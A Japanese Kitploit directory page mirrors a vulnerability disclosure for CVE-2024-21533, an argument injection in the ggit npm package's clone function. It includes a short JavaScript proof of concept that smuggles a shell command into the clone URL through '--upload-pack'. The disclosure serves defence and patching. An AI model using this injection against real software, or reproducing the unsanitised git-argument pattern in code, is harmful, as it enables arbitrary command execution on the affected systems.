Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-21533-PoC-ggit — CVE-2024-21533 PoC ggit | Kitploit
ツール/GitHubGitHub/lirantal/cve-2024-21533-poc-ggit
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用サプライチェーンセキュリティ
GitHublirantal/cve-2024-21533-poc-ggit

CVE-2024-21533-PoC-ggit

CVE-2024-21533 PoC ggit

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-21533 ggit における引数インジェクションの脆弱性

ggit は自身を次のように説明しています:

root@kitploit:~
Local promise-returning git command wrappers

リソース:

  • プロジェクトの GitHub ソースコード: https://github.com/bahmutov/ggit
  • プロジェクトの npm パッケージ: https://www.npmjs.com/package/ggit

この引数インジェクションの脆弱性に関する記事: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

悪用の背景

私は ggit npm パッケージにおける引数インジェクションの脆弱性を報告しています。

この脆弱性は、ライブラリの clone() API で現れます。この API は、クローン元のリモート URL とクローン先のディスク上のファイルを指定できます。しかし、ライブラリはユーザー入力をサニタイズしたり、指定された URL スキームを検証したりせず、また、オプションの終了を示すための POSIX のダブルダッシュ文字 (--) を使って git バイナリにコマンドラインフラグを適切に渡しません。

そのため、ユーザーは --upload-pack コマンドラインオプションによって Git の引数インジェクションの脆弱性を悪用でき、任意のコマンドを実行することが可能になります。(outPath) にクローンすると、脆弱性が適用されます。

攻撃方法

  1. [email protected] 以前をインストールする
  2. 次の POC を作成する:
root@kitploit:~
const clone = require("ggit").cloneRepo;
clone({
  url: "--upload-pack=$(touch /tmp/pwned)",
  folder: "/tmp/dbd",
}).then(function () {
  console.log("cloned repo to destination folder");
});
  1. ディスク上に /tmp/pwned が新しく作成されているのを確認する

コントリビューション

このプロジェクトへのコントリビューションに関するガイドラインは CONTRIBUTING を参照してください。

著者

Liran Tal

ツールをダウンロード